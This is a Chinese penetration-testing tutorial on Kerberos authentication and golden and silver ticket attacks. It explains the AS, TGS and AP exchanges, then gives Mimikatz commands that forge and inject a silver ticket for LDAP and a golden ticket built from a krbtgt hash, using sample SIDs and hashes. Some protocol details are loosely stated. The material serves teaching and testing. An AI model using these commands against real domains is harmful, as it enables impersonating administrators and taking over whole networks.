内网渗透之黄金白银票据(Kerberos认证)简介

Kerberos认证包括AS-REQ/AS-REP、TGS-REQ/TGS-REP和AP-REQ/AP-REP三个阶段,确保客户端与服务器间的安全通信。在AS-REP阶段,AS向AD查询用户信息并生成TGT,TGT是黄金票据,包含加密的随机密钥和客户端信息。在TGS-REP阶段,TGS验证客户端信息并生成ST,即白银票据,用于后续与服务器的交互。整个过程中,时间戳用于防止重放攻击,随机密钥确保数据安全。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

图解:

Kerberos认证一共分为三个阶段:

Kerberos认证一共分为三个阶段
    AS-REQ---AS-REP阶段:(Client和AS的认证)
        1.首先Client(客户端)用自己的哈希值(NTLM-hash)对(时间戳,客,服)等数据加密后,发送给AS(身份验证服务)向AS请求TGT票据。 -----AS-REQ----
        2.当AS收到Client发来的数据后,AS会向AD(域控)发起请求,询问是否有该client用户,如果有的话就取出client的 NTLM-hash,然后生成一个Session-key as(随机密钥)临时密钥Session-key 并使用client NTLM-hash加密随机密钥,作为一部分。
        3.TGT----使用KDC(密钥分发中心)一个特定账户的NTML-hash对(随机密钥,时间戳,客户端信息)加密,然后将这两部分发给Client ----AS-REP---
    
    TGS-REQ---TGS-REP阶段:(client和KDC通信)
        (---TGS-REQ---)
        1.client收到AS发来的AS-REP后,先用自己的NTLM-HASH解密得到随机密钥,然后使用随机密钥对(客户信息,时间戳,服务器请求)加密作为一部分,加上TGT,一并发送给KDC(密钥分发中心)中的TGS(票据授予服务)。
        
        2.TGS收到请求后,使用特殊用户的NTLM-hash解密TGT,得到(随机密钥,时间戳,客户端信息)同时,使用TGT解密出的随机密钥去解密第一部分的内容,得到(客户端信息,时间戳)。对比这解密得到的内容以验证是否通过。通过后新生成一个随机密钥2,并向client回复TGS-REP的两部分内容:
        一部分是用(随机密钥1)加密的新生成的(随机密钥2)
        另一部分是ST,即服务器的NTML-hash加密的数据(随机密钥2,时间戳,客户端信息)
        
    AP-REQ---AP-REP阶段:
        1.client收到TGS-REP后,先用自己保存的(随机密钥)解密出(随机密钥2).再使用随机密钥2加密(客户端信息,时间戳)作为一部分,另一部分是ST,一并发送给Server(服务器)。
        ----------AP-REQ---------
        2.服务器收到AP-REQ后,用自己的NTML-hash解密ST,得到(随机密钥2)再用随机密钥2解密第一部分得到(客户端信息,时间戳),然后与ST的(客户端信息,时间戳)对比。
        时间戳一般为8个小时。验证通过后,回复AP-REP,最终建立通信。

什么是白银票据?

        ST(白银票据)即为服务器NTML-hash加密的数据(随机密钥,时间戳,客户端信息)等信息。

什么是黄金票据?

         TGT(黄金票据)----使用KDC(密钥分发中心)一个特定账户的NTML-hash加密的(随机密钥,时间戳,客户端信息)等信息。

### 域渗透中的白银票据黄金票据 #### 白银票据 (Silver Ticket) 的配置与伪造方法 白银票据是一种针对特定服务的伪造 Kerberos 票据。它允许攻击者冒充某个用户身份来访问指定的服务,而无需获得整个域的控制权。 以下是伪造白银票据的过程: 1. **收集目标信息** 需要获取目标域的信息,包括域名 (`test.lab`) 和 SID (`S-1-5-21-...`)[^3]。还需要知道目标服务名称(如 `LDAP`)、目标主机名以及用于加密的目标账户哈希值(通常是 NTLM 或 RC4 密钥)。 2. **生成白银票据** 使用 Mimikatz 工具生成伪造的 LDAP 服务票据,并将其保存到文件中: ```bash mimikatz "kerberos::golden /domain:test.lab /sid:S-1-5-21-2196907948-52438630-2517523304 /target:DC.test.lab /service:ldap /rc4:065c43c4ca3bfba69038978836565ffe /user:administrator /ticket:silver.kirbi" ``` 3. **注入票据** 将生成的白银票据注入到当前会话的内存中以便使用: ```bash mimikatz "kerberos::ptt silver.kirbi" ``` 通过上述操作,攻击者可以伪装成管理员身份访问目标服务器上的 LDAP 服务[^2]。 --- #### 黄金票据 (Golden Ticket) 的配置与伪造方法 相比白银票据黄金票据提供了更广泛的权限——它可以绕过 TGT 获取阶段直接创建有效的 TGT 票据,从而实现对整个域资源的无限制访问。 其主要步骤如下: 1. **提取 krbtgt 账户密码散列** 这一步通常依赖于已有的高权限凭证或者通过其他漏洞完成。例如,在拥有 Domain Admin 权限的情况下可以从 Active Directory 数据库导出 krbtgt 散列值。 2. **生成黄金票据** 利用 Mimikatz 创建自定义的有效期无限长且不受时间戳约束的 TGT: ```bash mimikatz "kerberos::golden /user:Administrator /domain:de1ay.com /sid:S-1-5-21-2756371121-2868759905-3853650604 /krbtgt:82dfc71b72a11ef37d663047bc2088fb /id:500 /ptt" ``` 此命令将自动加载新生成的黄金票据至当前进程环境变量中[^4]。 --- #### Kerberos 攻击技巧对比分析 | 特性 | 黄金票据 | 白银票据 | |--------------------|-----------------------------------|------------------------------| | 影响范围 | 控制全域能力 | 局部服务能力 | | 所需条件 | Krbtgt hash | Service account credentials | | 复杂度 | 较高 | 中等 | | 检测难度 | 更难 | 易被发现 | 尽管两者都基于相同的原理即滥用Kerberos协议机制,但由于作用层面不同所以在实际应用中有各自适用场景. ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值